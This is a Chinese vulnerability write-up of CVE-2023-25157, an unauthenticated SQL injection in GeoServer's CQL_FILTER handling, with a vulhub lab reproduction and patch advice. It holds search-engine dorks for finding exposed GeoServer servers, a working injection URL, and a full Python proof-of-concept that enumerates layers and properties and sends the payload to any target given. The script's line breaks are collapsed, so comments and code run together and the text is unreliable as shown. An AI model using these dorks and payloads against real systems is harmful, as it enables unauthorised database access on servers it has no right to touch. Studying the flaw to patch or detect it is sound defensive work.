简介
GeoServer是OpenGIS Web 服务器规范的 J2EE 实现,利用 GeoServer 可以方便的发布地图数据,允许用户对特征数据进行更新、删除、插入操作,通过 GeoServer 可以比较容易的在用户之间迅速共享空间地理信息。
漏洞概述
在2.22.1和2.21.4之前版本中,在开放地理空间联盟(OGC)标准定义的过滤器和函数表达式中发现了一个SQL注入问题,未经身份验证的攻击者可以利用该漏洞进行SQL注入,执行恶意代码。
影响版本
geoserver<2.18.7
2.19.0<=geoserver<2.19.7
2.20.0<=geoserver<2.20.7
2.21.0<=geoserver<2.21.4
2.22.0<=geoserver<2.22.2
搜索语法
fofa: icon_hash=“97540678”
google: inurl:“/geoserver/ows?service=wfs”
漏洞复现
使用vulhub靶场复现
cd vulhub-master/
cd geoserver/
cd CVE-2023-25157
docker-compose up -d
docker-compose ps
1.访问http://yourip:8080/geoserver进入首页
2.获取每个功能名称
在进行注入之前,首先要获取地理图层列表信息,这是sql注入payload中的一个必要参数
访问以下url获取:
http://192.168.43.161:8080/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities
<Name>
标签中的信息,就是地理图层列表。这里选择
vulhub:example
作为地理图层列表信息
3.获取功能的属性
将上一步获取的typeName的name属性值拼接到url中,构成url如下:
http://192.168.43.161:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&maxFeatures=1&outputFormat=json
4.构造SQL 注入
Feature type (table) name: vulhub:example
One of attribute from feature type: name
利用这些已知参数,拼接成payload:
http://192.168.43.161:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith(name,%27x%27%27)%20=%20true%20and%201=(SELECT%20CAST%20((SELECT%20version())%20AS%20integer))%20–%20%27)%20=%20true
成功获取到数据库版本号
修复建议
升级 org.geoserver.community:gs-jdbcconfig 到 2.21.4 或 2.22.2 或更高版本
禁用 PostGIS Datastore 的 encode functions 或使用 preparedStatements 处理 sql 语句
poc
使用方法:python CVE-2023-25157.py http://your-ip:8080/geoserver/ows
#!/usr/bin/env python3# -*- coding: utf-8 -*-import requests
import sys
import xml.etree.ElementTree as ET
import json
# Colored output codes
GREEN ='\033[92m'
YELLOW ='\033[93m'
RED ='\033[91m'
BOLD ='\033[1m'
ENDC ='\033[0m'# Check if the script is run without parametersiflen(sys.argv)==1:print(f"{YELLOW}This script requires a URL parameter.{ENDC}")print(f"{YELLOW}Usage: python3 {sys.argv[0]} <URL>{ENDC}")
sys.exit(1)# URL and proxy settings
URL = sys.argv[1]
PROXY_ENABLED =False
PROXY ="http://127.0.0.1:8080/"if PROXY_ENABLED elseNone
response = requests.get(URL +"/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities",
proxies={"http": PROXY}, verify=False)if response.status_code ==200:# Parse the XML response and extract the Name from each FeatureType and store in a list
root = ET.fromstring(response.text)
feature_types = root.findall('.//{http://www.opengis.net/wfs}FeatureType')
names =[feature_type.findtext('{http://www.opengis.net/wfs}Name')for feature_type in feature_types]# Print the feature namesprint(f"{GREEN}Available feature names:{ENDC}")for name in names:print(f"- {name}")# Send requests for each feature name and CQL_FILTER type
cql_filters =["strStartsWith"]# We can also exploit other filter/functions like "PropertyIsLike", "strEndsWith", "strStartsWith", "FeatureId", "jsonArrayContains", "DWithin" etc.for name in names:for cql_filter in cql_filters:
endpoint =f"/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName={name}&maxFeatures=1&outputFormat=json"
response = requests.get(URL + endpoint, proxies={"http": PROXY}, verify=False)if response.status_code ==200:
json_data = json.loads(response.text)try:
properties = json_data['features'][0]['properties']except IndexError:print("Error: 超出范围")
property_names =list(properties.keys())print(f"\n{GREEN}Available Properties for {name}:{ENDC}")for property_name in property_names:print(f"- {property_name}")print(f"\n{YELLOW}Sending requests for each property name:{ENDC}")for property_name in property_names:
endpoint =f"/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName={name}&CQL_FILTER={cql_filter}%28{property_name}%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true"
response = requests.get(URL + endpoint, proxies={"http": PROXY}, verify=False)print(f"[+] Sending request for {BOLD}{name}{ENDC} with Property {BOLD}{property_name}{ENDC} and CQL_FILTER: {BOLD}{cql_filter}{ENDC}")if response.status_code ==200:
root = ET.fromstring(response.text)
error_message = root.findtext('.//{http://www.opengis.net/ogc}ServiceException')print(f"{GREEN}{error_message}{ENDC}")else:print(f"{RED}Request failed{ENDC}")else:print(f"{RED}Request failed{ENDC}")else:print(f"{RED}Failed to retrieve XML data{ENDC}")
版权归原作者 SharkSec 所有, 如有侵权,请联系我们删除。